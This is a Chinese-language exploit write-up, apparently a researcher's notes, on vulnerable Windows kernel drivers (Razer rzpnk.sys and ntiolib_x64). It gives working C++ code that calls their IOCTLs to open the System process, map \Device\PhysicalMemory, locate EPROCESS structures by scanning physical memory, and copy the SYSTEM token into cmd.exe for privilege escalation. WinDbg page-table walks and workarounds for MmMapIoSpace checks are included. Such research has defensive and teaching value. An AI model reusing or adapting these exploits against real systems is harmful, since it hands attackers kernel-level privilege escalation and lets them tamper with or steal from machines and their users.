分析majorfunction中的create函数可知打开rzpnk.sys驱动的设备的进程名需要是razeringameengine.exe
或者rzdriverinstaller.exe
create dispatch:
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1CC10;
sub_1CC10间接调用到函数sub_10C40,在该函数中检查进程名
满足这个条件后,随便一个普通用户就可以以READ|WRITE权限打开rzpnk的设备\\.\47CD78C9-64C3-47C2-B80F-677B887CF095
然后我们通过IDA可以看到IoControl的派遣函数列表
DriverObject->MajorFunction[0xE] = (PDRIVER_DISPATCH)sub_12650
sub_12650函数会调用函数数组中的+14h,即sub_10B40函数
靠,之前分析错驱动了
zwopenprocess
前面的当我没写
真正的漏洞驱动文件是这个
使用下面这个漏洞利用代码可以直接到达ZeOpenProcess函数,获取任意进程的句柄
#include <windows.h>
#include <iostream>
int main() {
printf("0x%x\n", GetCurrentProcessId());
system("pause");
// [Get Driver Handle]
HANDLE hDevice = CreateFileA(
"\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095",
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
nullptr
);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cout << "\n[!] Unable to get driver handle..\n";
printf("error code: 0x%x\n", GetLastError());
return 1;
}
else {
std::cout << "\n[>] Driver access OK..\n";
std::cout << "[+] lpFileName: \\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk\n";
std::cout << "[+] Handle: " << hDevice << "\n";
}
// [Prepare buffer & Send IOCTL]
// Input buffer (PID 4 + 0)
unsigned char InBuffer[16] = { 0 };
*(reinterpret_cast<INT64*>(&InBuffer[0])) = 0x4; // PID 4 = System
*(reinterpret_cast<INT64*>(&InBuffer[8])) = 0x0; // 0x0
// Output buffer 1KB
LPVOID OutBuffer = VirtualAlloc(
nullptr,
1024,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!OutBuffer) {
std::cout << "\n[!] Failed to allocate output buffer.\n";
CloseHandle(hDevice);
return 1;
}
// Ptr receiving output byte count
DWORD BytesReturned = 0;
// 0x22a050 - ZwOpenProcess
BOOL CallResult = DeviceIoControl(
hDevice,
0x22a050,
InBuffer,
sizeof(InBuffer),
OutBuffer,
1024,
&BytesReturned,
nullptr
);
if (!CallResult) {
std::cout << "\n[!] DeviceIoControl failed..\n";
VirtualFree(OutBuffer, 0, MEM_RELEASE);
CloseHandle(hDevice);
return 1;
}
// [Read out the result buffer]
std::cout << "\n[>] Call result:\n";
std::cout << std::hex << std::uppercase
<< *(reinterpret_cast<INT64*>(OutBuffer)) << "\n";
std::cout << std::hex << std::uppercase
<< *(reinterpret_cast<INT64*>((reinterpret_cast<BYTE*>(OutBuffer)) + 8)) << "\n";
// Cleanup
VirtualFree(OutBuffer, 0, MEM_RELEASE);
CloseHandle(hDevice);
return 0;
}
这内核代码写的是真傻逼
如何进一步利用这个漏洞
另一个洞
这个驱动好像还有一个洞,在ZwMapViewOfSection函数上面,不过看这个洞之前,需要先看一下这篇文章
这篇文章中提到的漏洞驱动文件
如上图所示,可以直接使用控制码0xC3506104映射物理内存
要想利用这个来扫描内存中的EPROCESS结构体,需要先了解一些知识
windows内核中的对象的内存布局
PoolHeader的结构
那么我们扫描到Eprocess的内存Tag:Proc
之后,-4就可以得到EPROCESS所在内存的起始位置
跳过PoolHeader和Object_header就可以得到EPROCESS的地址
OBJECT_HEADER->Body就是EPROCESS的内容
那么计算方式应该就是locatedAddr-4+sizeof(PoolHeader)+offset(body of object_header)就行了应该
kd> dt _object_header ffffe18d8544c0e0
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n1
+0x008 HandleCount : 0n0
+0x008 NextToFree : (null)
+0x010 Lock : _EX_PUSH_LOCK
+0x018 TypeIndex : 0xbc ''
+0x019 TraceFlags : 0 ''
+0x019 DbgRefTrace : 0y0
+0x019 DbgTracePermanent : 0y0
+0x01a InfoMask : 0x4c 'L'
+0x01b Flags : 0x41 'A'
+0x01b NewObject : 0y1
+0x01b KernelObject : 0y0
+0x01b KernelOnlyAccess : 0y0
+0x01b ExclusiveObject : 0y0
+0x01b PermanentObject : 0y0
+0x01b DefaultSecurityQuota : 0y0
+0x01b SingleHandleEntry : 0y1
+0x01b DeletedInline : 0y0
+0x01c Reserved : 0x273
+0x020 ObjectCreateInfo : 0xffffe18d`81e76580 _OBJECT_CREATE_INFORMATION
+0x020 QuotaBlockCharged : 0xffffe18d`81e76580 Void
+0x028 SecurityDescriptor : (null)
+0x030 Body : _QUAD
kd> !object ffffe18d`8544c110
Object: ffffe18d8544c110 Type: (ffffe18d78ae1140) File
ObjectHeader: ffffe18d8544c0e0 (new version)
HandleCount: 0 PointerCount: 1
Directory Object: 00000000 Name: \Windows\System32\wshbth.dll {HarddiskVolume3}
kd> dt _file_object ffffe18d`8544c110
nt!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffffe18d`798918f0 _DEVICE_OBJECT
+0x010 Vpb : 0xffffe18d`798d35b0 _VPB
+0x018 FsContext : (null)
+0x020 FsContext2 : (null)
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : (null)
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0 ''
+0x050 Flags : 0x44040
+0x058 FileName : _UNICODE_STRING "\Windows\System32\wshbth.dll"
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 0
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffffe18d`8544c1d0 - 0xffffe18d`8544c1d0 ]
+0x0d0 FileObjectExtension : (null)
从这张图中可以看到,实际的EPROCESS距离POOL_HEADER的差值是0x70,而我们定位到的Proc tag和EPROCESS差值就是0x70-4->0x6C
POOL_HEADER和OBJECT_HEADER之间存在OPTIONAL_HEADER,这个是可选的header,具体数量不确定,但是对于我们的EPROCESS对象,我们随便找一个进程看一下就可以确定一共有几个可选HEADER了,这个是由object_header的infomask决定的
0x88的话那就是两个可选header: OBJECT_HEADER_QUOTA_INFO和OBJECT_HEADER_PADDING_INFO
我又随便找了几个进程,infomask的值都是0x88,虽然这个地方的值都是0x88,但是有的差值是0x70,有的是0x80
System进程直接没有可选header,infomask的值直接就是0,差值是0x40,那我们就先定位System
然后再定位一个cmd(差值0x80),然后把system的token写入到cmd中
写入内存
前面我们提到可以使用iocode 0xC3506104来读取物理内存,当需要写入的时候我们需要使用另一个iocode 0xC350A108
从上图中可以看到是往映射出来的内存中写入数据
inBuffer的0x10保存原始内存起始地址,0xc保存size,0保存目的物理地址
这个傻逼洞好像根本就没有办法利用,mmmapiospace总是崩溃,或者是返回0,根本就没办法用
这个玩意儿根本就没有办法稳定利用,因为调用mmmapiospace之前需要先锁内存页
看下面
不管怎么样,我把搜索EPROCESS的代码放在这里了:
#include <windows.h>
#include <comdef.h>
#include <Wbemidl.h>
#include <iostream>
#include <unordered_map>
#include <algorithm>
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#pragma comment(lib, "wbemuuid.lib")
// #define EPROCESS_IAMGE_NAME_OFFSET 0x5A8
#define SYSTEM_IMAGE_NAME_OFFSET 0x5E4 // 0x3C+0x5A8
#define CMD_IMAGE_NAME_OFFSET 0x624 // 0x7C+0x5A8
#define SYSTEM_TOKEN_OFFSET 0x4F4 // 0x3C+0x4B8
#define CMD_TOKNE_OFFSET 0x534 // 0x7C+0x4B8
#define SYSTEM_IMAGE_NAME "SYSTEM"
#define CMD_IMAGE_NAME "cmd.exe"
#define STEP 0x1000
#ifndef max
#define max(a,b) (((a) > (b)) ? (a) : (b))
#endif
#define b8 DWORD64
#define b4 DWORD
#define b2 WORD
#define b1 UCHAR
DWORD64 q(PBYTE a1) { return *(DWORD64*)(a1); }
DWORD d(PBYTE a1) { return *(DWORD*)(a1); }
WORD w(PBYTE a1) { return *(WORD*)(a1); }
UCHAR b(PBYTE a1) { return *(PBYTE)(a1); }
b1* GMemBuffer;
void getHardwareMappings(std::unordered_map<uint64_t, uint64_t>& hardwareMappings)
{
if (FAILED(CoInitializeEx(0, COINIT_MULTITHREADED)))
{
return;
}
if (FAILED(CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL)))
{
CoUninitialize();
return;
}
IWbemLocator *pLoc = NULL;
if (FAILED(CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc)))
{
CoUninitialize();
return;
}
IWbemServices *pSvc = NULL;
if (FAILED(pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc)))
{
pLoc->Release();
CoUninitialize();
return;
}
if (FAILED(CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE)))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return;
}
IEnumWbemClassObject* pEnumerator = NULL;
if (FAILED(pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_DeviceMemoryAddress"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator)))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return;
}
std::vector<std::pair<uint64_t, uint64_t>> ranges;
IWbemClassObject *pclsObj = NULL;
ULONG uReturn = 0;
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (0 == uReturn)
{
break;
}
VARIANT vtProp;
pclsObj->Get(L"StartingAddress", 0, &vtProp, 0, 0);
uint64_t startAddr = 0;
swscanf_s(vtProp.bstrVal, L"%lld", &startAddr);
VariantClear(&vtProp);
pclsObj->Get(L"EndingAddress", 0, &vtProp, 0, 0);
uint64_t endAddr = 0;
swscanf_s(vtProp.bstrVal, L"%lld", &endAddr);
VariantClear(&vtProp);
pclsObj->Release();
ranges.push_back(std::pair<uint64_t, uint64_t>(startAddr, endAddr + 1));
//printf("%0I64X %0I64X\n", startAddr, endAddr);
}
//insert dummy range <0xF0000000, 0xFFFFFFFF>
ranges.push_back(std::pair<uint64_t, uint64_t>(0xF0000000LL, 0x100000000LL));
std::sort(ranges.begin(), ranges.end());
auto it = ranges.begin();
std::pair<uint64_t, uint64_t> current = *(it)++;
while (it != ranges.end())
{
if (current.second >= it->first)
{
current.second = max(current.second, it->second);
}
else
{
hardwareMappings[current.first] = current.second - current.first;
current = *(it);
}
it++;
}
hardwareMappings[current.first] = current.second - current.first;
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
CoUninitialize();
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value);
HANDLE getDriverHandle();
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole);
bool mapPhMem(HANDLE hDevice, b8 phStart, b4 size);
int main() {
HANDLE hDevice = getDriverHandle();
// Output buffer 1KB
LPVOID OutBuffer = VirtualAlloc(
nullptr,
STEP,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!OutBuffer) {
std::cout << "\n[!] Failed to allocate output buffer.\n";
CloseHandle(hDevice);
}
GMemBuffer = (b1*)OutBuffer;
std::unordered_map<uint64_t, uint64_t> mapping;
// 枚举出来所有的设备内存范围,不然读取到这些内存地址会直接导致蓝屏
getHardwareMappings(mapping);
for (const auto& pair : mapping) {
printf("0x%p -> 0x%p\n\n", pair.first, pair.second);
}
system("pause");
// 然后就可以和驱动交互来读写内存了
printf("trying to elvate my privilege\n");
elevatePriv(hDevice,mapping);
return 0;
}
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole) {
b8 systemToken = 0;
b8 cmdTokenPhAddr = 0;
// 基本思想就是扫描整块物理内存,来定位系统进程的EPROCESS
// 但是我们要调过硬件内存区域
b8 phMemSize;
// 获取系统上安装的物理内存的大小 单位是kb 1024bytes
GetPhysicallyInstalledSystemMemory(&phMemSize);
// 那么物理内存地址的最大值应该是
// 每次读取一个内存页 4kb
b4 step = STEP;
for (b8 i = 0; i < phMemSize * 1024; i += step) {
// 跳过硬件范围
auto it = hwHole.find(i);
if (it != hwHole.end())
i += it->second;
if (!mapPhMem(hDev, i, step)) {
printf("read physical mem failed\n");
continue;
}
printf("start addr: 0x%p\n", i);
// 读取内存
// GMemBuffer
// 这里涉及了一些关于windows内存的知识
printf("mem succeed\n");
// EPROCESS所在的内存中有一个tag,就是Proc,翻译成b4就是 636F7250
for (b4 j=0;j< STEP -4;j++) {
// 这里需要注意,如果j+4已经超过了0x1000,就要终止循环了
if (*(b4*)(GMemBuffer + j) == 0x636F7250) {
printf("located eprocess mem region\n");
if (!strcmp((char*)(GMemBuffer + j + SYSTEM_IMAGE_NAME_OFFSET), SYSTEM_IMAGE_NAME)) {
systemToken = *(b8*)(GMemBuffer + j + SYSTEM_TOKEN_OFFSET);
printf("system token get: 0x%p\n", systemToken);
if(cmdTokenPhAddr)
goto END;
}
else if (!strcmp((char*)(GMemBuffer + j + CMD_IMAGE_NAME_OFFSET), CMD_IMAGE_NAME)) {
// 记住物理内存地址
cmdTokenPhAddr = i;
printf("cmd.exe token physical address get: 0x%p\n", i);
if (systemToken)
goto END;
}
}
}
}
END:
// TODO
// 这里需要进行写入
writePhMem(hDev, cmdTokenPhAddr, systemToken);
return 0;
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value) {
unsigned char InBuffer[0x18] = { 0 };
*(reinterpret_cast<INT64*>(&InBuffer[0])) = destPhAddr;
*(reinterpret_cast<INT64*>(&InBuffer[0x10])) = destPhAddr;
*(reinterpret_cast<INT64*>(&InBuffer[0xc])) = 8;
// Ptr receiving output byte count
DWORD BytesReturned = 0;
BOOL CallResult = DeviceIoControl(
hDevice,
0xC3506104,
InBuffer,
sizeof(InBuffer),
GMemBuffer, // outbuffer随便填,因为根本就用不到
8,
&BytesReturned,
nullptr
);
if (!CallResult) {
std::cout << "\n[!] DeviceIoControl failed..\n";
printf("error code: 0x%x\n", GetLastError());
return 0;
CloseHandle(hDevice);
}
return 1;
}
HANDLE getDriverHandle() {
HANDLE hDevice = CreateFileA(
"\\\\.\\NTIOLib_ACTIVE_X",
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
nullptr
);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cout << "\n[!] Unable to get driver handle..\n";
printf("error code: 0x%x\n", GetLastError());
return 0;
}
else {
std::cout << "\n[>] Driver access OK..\n";
std::cout << "[+] lpFileName: \\\\.\\NTIOLib_ACTIVE_X => ntiolib_x64\n";
std::cout << "[+] Handle: " << hDevice << "\n";
}
return hDevice;
}
bool mapPhMem(HANDLE hDevice,b8 phStart,b4 size) {
unsigned char InBuffer[0x10] = { 0 };
// inBuffer的0x8存一个b4,值为1,指示驱动将映射出来的物理内存拷贝到我们传过去的buffer中
// outBuffer将存储映射出来的物理内存
// inBuffer的0xC存一个b4作为要映射的size
// inBuffer的0存一个b8,作为物理内存的开始地址
*(reinterpret_cast<INT64*>(&InBuffer[0])) = phStart;
*(reinterpret_cast<INT64*>(&InBuffer[8])) = 1;
*(reinterpret_cast<INT64*>(&InBuffer[0xc])) = size;
// Ptr receiving output byte count
DWORD BytesReturned = 0;
BOOL CallResult = DeviceIoControl(
hDevice,
0xC3506104,
InBuffer,
sizeof(InBuffer),
GMemBuffer,
size,
&BytesReturned,
nullptr
);
if (!CallResult) {
std::cout << "\n[!] DeviceIoControl failed..\n";
printf("error code: 0x%x\n", GetLastError());
return 0;
CloseHandle(hDevice);
}
printf("bytes count read out: 0x%x\n", BytesReturned);
return 1;
}
虽然没有办法稳定利用MmMapIoSpace ,但是我们可以稳定利用ZwMapViewOfSection
rzpnk.sys的iocode 22a064可以到达zwmapviewofsection函数,并可以直接控制handle参数,映射结果会返回给outbuffer
sub_17840
ZwMapViewOfSection(a3, ProcessHandle, BaseAddress, 0i64, a4, 0i64, (PSIZE_T)v11, ViewUnmap, 0, 0x40u);
其中a3为inbuffer的0x10(section handler),a4为inbuffer的0x20(CommitSize)
也就是说我们可以控制ZwMapViewOfSection函数的handler参数和commit size参数,以及第7个参数ViewSize,由我们的a4控制,也就是可以控制实际上要映射多大的内存出来,我们直接指定a4为0即可映射整个section
映射结果baseaddress作为caller的第五个参数直接写回到outbuffer的0x18
那么我们现在只需要获取到位于pid 4即system进程的physicalmemory section的句柄值即可
我们先使用老版本的processhacker(密码是1)看一下这个section的句柄值
0x550和0x574都是可以的,当然在实际的利用环境中我们是没有办法提前知道这个section的handle value的,这里只是为了获取当前操作系统版本的section类型的index值
使用这个代码,输出如下:
好了,我们现在知道section类型的index值是42了
但是还有一个问题,就是system进程中有很多section,我们用户模式下是无法知道每个handle对应的名称的,但是通过我的观察,\Device\PhysicalMemory的handle值是比较靠前的,如果将所有的section handle按照升序排列,那么在前十个里面肯定可以找到\Device\PhysicalMemory
那么我们来试着写一下代码
我们好像不能把ViewSize指定为0,因为我们没有办法接收返回参数,我们只能传入,无法获取传出的值
那么我们只能把a4写成当前机器的物理内存大小了,但是我们只能使用dword来指定,dword最大只能描述4GB的内存,如果机器超过4gb的物理内存就不行了,我想到一个办法,那就是先指定物理内存大小,如果超过4GB就指定4gb,然后使用前10个handle value进行调用,如果不是\Device\PhysicalMemory应该会返回STATUS_INVALID_VIEW_SIZE 0xC000001F(存储在outbuffer的0x28),我先来测试一下
inbuffer和outbuffer的size要超过0x30
验证成功: 代码
这样我们就获得了\Device\PhysicalMemory的句柄值,我们使用这个句柄值重新映射,这次传入viewsize为0
我靠,我指定0,他说我内存不够,错误代码c0000017,那算了,我还是直接指定实际的内存值吧
定位到cmd.exe的eprocess
演示视频中可以看到最后cmd进程的token和system的token值并不是完全一样的,这个我也不太清楚是为啥
反正可以正常提权就行
MmMapIoSpace利用 windows 1803版本之前可以用
要利用这个东西,需要首先弄清楚windows的分页机制
虚拟地址到物理地址的转换
使用如下脚本可以将虚拟地址转换成上面4个表的offset和最后的offset的形式:
def parse_virtual_address(addr_str):
# Convert hex string to 64-bit integer
addr = int(addr_str, 16)
# Masks and shifts based on bit positions
offset_mask = 0xFFF
pt_mask = 0x1FF << 12
pd_mask = 0x1FF << 21
pdpt_mask = 0x1FF << 30
pml4_mask = 0x1FF << 39
sign_mask = 0xFFFF << 48
# Extract parts
offset = addr & offset_mask
pt = (addr & pt_mask) >> 12
pd = (addr & pd_mask) >> 21
pdpt = (addr & pdpt_mask) >> 30
pml4 = (addr & pml4_mask) >> 39
sign = (addr & sign_mask) >> 48
print(f"Address: {addr_str}")
print(f"Sign Extension: {sign:#06x}")
print(f"PML4 Index : {pml4:#05x}")
print(f"PDPT Index : {pdpt:#05x}")
print(f"PD Index : {pd:#05x}")
print(f"PT Index : {pt:#05x}")
print(f"Offset : {offset:#05x}")
# Example usage
parse_virtual_address("ffffc8024fb7d5c0")
转换结果:
Address: ffffc8024fb7d5c0
Sign Extension: 0xffff
PML4 Index : 0x190
PDPT Index : 0x009
PD Index : 0x07d
PT Index : 0x17d
Offset : 0x5c0
计算过程:
kd> !process 0 0 lsass.exe
PROCESS ffffc8024fb7d5c0
SessionId: 0 Cid: 031c Peb: 6103bfb000 ParentCid: 0294
DirBase: 39aff000 ObjectTable: ffff9c88e17caa80 HandleCount: 980.
Image: lsass.exe
获得cr3 value即DirBase:39aff000
,这个就是PML4T的base,使用PML4 index 0x190计算出PML4E
在windbg中可以使用!dq
查看DWORD64
kd> !dq 39aff000 +190*8 l1
#39affc80 0a000000`013d1863
计算PDPT的base,起始就是用PML4E里面存的值和0xFFFFF000做与操作
kd> ? 0a000000`013d1863&0xFFFFF000
Evaluate expression: 20779008 = 00000000`013d1000
使用PDPT index 0x9和PDPT base 0x13d1000计算PDPE里面存的值,顺便计算出PDT的base
kd> !dq 013d1000+9*8 l1
# 13d1048 0a000000`013d0863
kd> ?0xFFFFF000&0a000000`013d0863
Evaluate expression: 20774912 = 00000000`013d0000
使用PDT Index : 0x07d计算PDE里面存的值并计算出PT的base
kd> !dq 013d0000+7d*8 l1
# 13d03e8 0a000000`1e4f8863
kd> ?0a000000`1e4f8863&0xFFFFF000
Evaluate expression: 508526592 = 00000000`1e4f8000
使用PT Index : 0x17d计算PTE里面存的值并计算出最终的base
kd> !dq 1e4f8000+8*17d l1
#1e4f8be8 8a000000`1bc97963
kd> ? 8a000000`1bc97963&0xFFFFF000
Evaluate expression: 466186240 = 00000000`1bc97000
这个base加上最终的offset 0x5c0就是虚拟地址ffffc8024fb7d5c0对应的物理地址
kd> !dq 1bc97000+0x5c0 l4
#1bc975c0 00000000`00b60003 ffffc802`4fb71e50
#1bc975d0 ffffc802`4fb71e50 ffffc802`4fb7d5d8
kd> dqs ffffc8024fb7d5c0 l4
ffffc802`4fb7d5c0 00000000`00b60003
ffffc802`4fb7d5c8 ffffc802`4fb71e50
ffffc802`4fb7d5d0 ffffc802`4fb71e50
ffffc802`4fb7d5d8 ffffc802`4fb7d5d8
我们的目标是System进程的cr3,System的EP地址可以使用如下代码获取
可以看到System进程EP非常好找,他的handle value就是windows系统的第一个handle 4
而且System的cr3相对于其他进程的cr3非常小
步长0x1000,搜索1a0到1b0
使用前面获取的EP虚拟地址翻译出来物理地址,然后查看ImageFileName是不是System来确定是否找到了正确的cr3
large page
在页表转换的时候需要考虑到一种特殊情况,那就是large page
PAT标志位位于bit 7
一般出现在PDE中,比如windows的System进程的cr3就在PDE这一层启用了large page
所以我们需要在到达PDE这一层级的时候检测是否启用了large page
提权
前面我们已经枚举出了system的ep物理地址,下面我们再来枚举cmd进程的ep物理地址,我们先使用这个代码看一下thread对象类型的index值
可以看到thread类型的index值为8,然后我们就可以使用这个代码获取到我们目标cmd进程的其中一个thread对象的内核地址
我们不用枚举目标进程的cr3,因为不管是ethread还是eprocess都是内核的数据结构,属于是System进程的东西,就还是使用system的cr3进行虚拟地址的翻译即可
本代码仅适用于windows 1709版本,因为我用到了eprocess和kthread的偏移量,我是硬编码在代码中的
在挂了内核调试器利用MmMapIoSpace会崩溃的解决方案
关闭调试模式即可,如果一定要使用调试器,请往下看
关于高版本windows cr3无法被MmMapIoSpace访问的问题
尝试使用Mmmapiospacey映射PML4E会返回0
下面提到的cr3其实是cr3/0x1000
发生错误的地方是这里
正常是相等的,我们的不相等,我直接手动把这一块的内存指令修改了,可以正常利用
poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2)) >> 0xD & FFFFFFFFFFFFFFF0 | FFFF800000000000
这个结果必须为FFFF800000000030h
其实说白了就是poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2))
的值必须位于60000~6ffff
反正所有的cr3都是不符合这个条件的
poi(nt!MiFillSystemPtes+0x2d6+2)
其实就是nt!MmPfnDatabase
虽然我们没有直接在os的代码中看到,但是计算出来的mmpfn中的mmpte的内容,PML4E正好是落在PTE指示的table base范围内的